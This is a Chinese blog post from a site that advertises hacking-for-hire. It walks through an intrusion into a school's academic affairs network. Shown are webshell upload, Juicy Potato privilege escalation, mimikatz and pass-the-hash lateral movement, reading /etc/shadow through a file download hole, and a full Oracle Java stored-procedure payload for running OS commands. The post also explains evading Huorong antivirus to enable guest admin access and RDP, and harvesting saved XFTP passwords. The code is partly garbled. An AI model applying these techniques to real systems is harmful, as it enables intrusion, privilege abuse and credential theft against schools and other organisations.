网站入侵

网站入侵,入侵渗透,怎么样入侵网站,黑客怎么拿站,黑客接单

2021新版教务系统入侵实战

                       

注:本博客仅供技术研究。如果其信息用于其他目的,用户将承担全部法律和连带责任。本博客不承担任何法律和连带责任。请遵守中华人民共和国安全法
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!

初探内网

根据客户的要求,我们需要对学校进行友谊测试。没有数据窃取会篡改操作。经过几个小时的测试,我们发现几个旧系统有入口可操作,如下

学校使用了许多新系统,但没有关闭旧系统。经过一番搜索,确定老系统上传任何文件都有漏洞。

没有过滤,可以说是捡漏。

而且还回到了木马的路径。但我遇到了一个非常奇怪的现象。用蚁剑和菜刀连接后,返回路径不同,文件也不同。

蚁剑连接shell文件不能上传,但菜刀可以连接,webshell执行命令后,将被禁止IP,怀疑有waf。所以我先传了一个msf的aspx获得一个木马meterpreter会话windows-exploit-suggest探测未打的补丁。

发现存在MS16-075这个很好用的漏洞,直接配合msf的juicy_potato模块来攻击,记住要修改CLSID,可以在这里找到

https://github.com/ohpe/juicy-potato/tree/master/CLSID

使用的payload最好选择正连接 bind_tcp,否则可能弹不回来shell。

这样就获得了system权限。下一步是收集机器的信息,以获取有助于我们横向渗透的信息。奇怪的是,这台机器有一个域,但现在它不见了,找不到域控。所以我们的重点是密码撞击库。msf自带的mimikatz获取密码的模块。

撞到两三台机器,有的机器开445端口,但没有开3389端口。

这样,我们可以尝试使用它ms-17010,但考虑到可能会影响一些正在使用的系统,我仍然选择使用更安全的 psexec模块撞击库。也就是说,哈希传输,有时当我们遇到无法获得明文密码时,我们可以考虑dump出密码的hash值,再使用psexec哈希传递模块进行攻击,获得的都是SYSTEM权限。

后面的步骤索然无味,就是不断的撞库搜集密码,然后再通过搜集的密码再撞库,获取到了足够多的机器和密码之后,找到了边界路由器,但是之前搜集的密码都无法成功登录,只好放弃。这个网段就告一段落。

深入探索

经过对新系统的搜索,我在其中一个功能中发现了下载任何文件的漏洞。

并且是root最理想的服务是读取/etc/shadow文件,爆破root用户密码。(失败)root/.bash_history 来获取root用户的操作历史记录。它记录了tomcat部署路径和备份源代码文件。通过下载源代码收集信息,我收集了一个非常关键的信息。这个网段的机器大多使用oracle数据库没有修改SID,手里还有几个可以尝试的密码。

爆破后,发现了一台机器oracle数据库system未修改用户密码,为manager。每个人都应该指定oracle系统命令可以由数据库执行,system用户完全符合执行系统命令的条件。在网上找到工具,删除繁琐的步骤,直接执行命令。

绕过火绒行为检测

但是又出现了一个奇怪的问题,我只能执行几个命令,虽然我是system但是一旦我用了 net user这样的命令,就没有回显了。后来发现火绒拦截了异常行为。然后我试着直接用 navicat 中的sqlplus连接服务器。根据在线步骤建立执行命令代码,我可以根据服务器返回的1或0来判断命令是否执行。

create or replace and compile Java Source named "OSCommand" as-- java:        OS COMMANDimport java.io.*;import java.lang.*;public class OSCommand{          public static String Run(String Command){                  Runtime rt = Runtime.getRuntime();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;int     rc = -1;                try{                          Process p = rt.exec( Command );                    int bufSize = 32000;                   int len = 0;                  byte buffer[] = new byte[bufSize];                        String s = null;                        BufferedInputStream bis = new BufferedInputStream( p.getInputStream(),bufSize );                    len = bis.read( buffer,0,bufSize );                    rc = p.waitFor();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;if ( len != -1 ){                       s = new String( buffer,0,len );                            return( s );                    }                        return( rc "" );                                 catch (Exception e)                                                            e.printStackTrace();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;return(  "-1\ncommand["   Command   "]\n"   e.getMessage());                      show errorscreate or replace function OSexec( cCommand IN string ) return varchar2 is-- function:    OS EXEC-- descr:       PL/SQL wrapper for the Java OSCOMMAND stored proc--language        JAVAname      OSCommand.Run(java.lang.String) return java.lang.String';/show errors-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC-- and OSCOMMAND stored procs.declare        SCHEMA  varchar2(30) := 'SCOTT';begin        dbms_java.grant_permission(               SCHEMA,    *        );commit;end;/-- 查看本地连接信息SQL> select OSexec('ipconfig') as STDOUT from dual;STDOUT--------------------------------------------------------------------------------Windows IP ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????l?? 3:   l??????? DNS ??? . . . . . . . t?? IPv6 ???. . . . . . . . : *************   IPv4 ??? . . . . . .               '*'        );commit;end;/-- 查看本地连接信息SQL> select OSexec('ipconfig') as STDOUT from dual;STDOUT--------------------------------------------------------------------------------Windows IP ??????????????? ????l?? 3:   l??????? DNS ??? . . . . . . . :   ????t?? IPv6 ???. . . . . . . . : *************   IPv4 ??? . . . . . .    . . . . . . : 192.168.100.100 ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????. . . . . . . . . . . . : 255.255.255.0      ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????. . . . . . . . . . . . . : 0.0.0.0--激活guest账号?SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;STDOUT--------------------------------------------------------------------------------0

因为有杀毒软件监控oracle因此,必须结合一些不被拦截的行为进行攻击。

没想到的是,当我直接执行命令行打开3389端口时,火绒没有拦截。但是当我执行的时候net user当命令无法执行时。这时,我突然想起来guest用户,我启用guest用户,然后加入管理员组,这一次没有被拦截。直接远程桌面连接以后,当我想在机器上使用mimikatz或者反弹一个shell到cs都失败了。

并且guest还有一些禁止用户的权限,比如添加用户等敏感操作。但我执行它net user我在以前的机器上看到了一个用户,我有这个用户的密码。所以通过sqlplus将用户加入管理员组。

因此,火绒拦截的行为规则是不能添加用户,但现有用户可以添加到管理员组,guest用户可以激活,可以打开3389。我再次登录机器后,仍然无法反弹shell回来,或者读出它的密码。这时,弟弟告诉我,火绒可以直接打开,防护可以关闭,反弹shell我????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

然后一个操作就拿到了shell,但是还是读不出明文密码,我就想着把哈希dump出来,然后爆破。但我记得有一个外国在线网站可以解决NTLM

https://www.objectif-securite.ch/ophcrack

获取密码后,熟悉的撞库,收集信息,然后撞库。

然后在服务器上找到了一个xftp保存了几个服务器的密码,此时发现了一个骚操作,可以使用一个星号密码查看器的工具来查看这里保存的密码。

又喜提几台root机器的权限。考试后不想玩,记录所有收集的密码用户,然后撞到整个网段的机器,撞到很多弱密码。

这个渗透教程到此结束!希望大家看看借鉴。如果您有技术咨询,请联系我们
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!

       

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.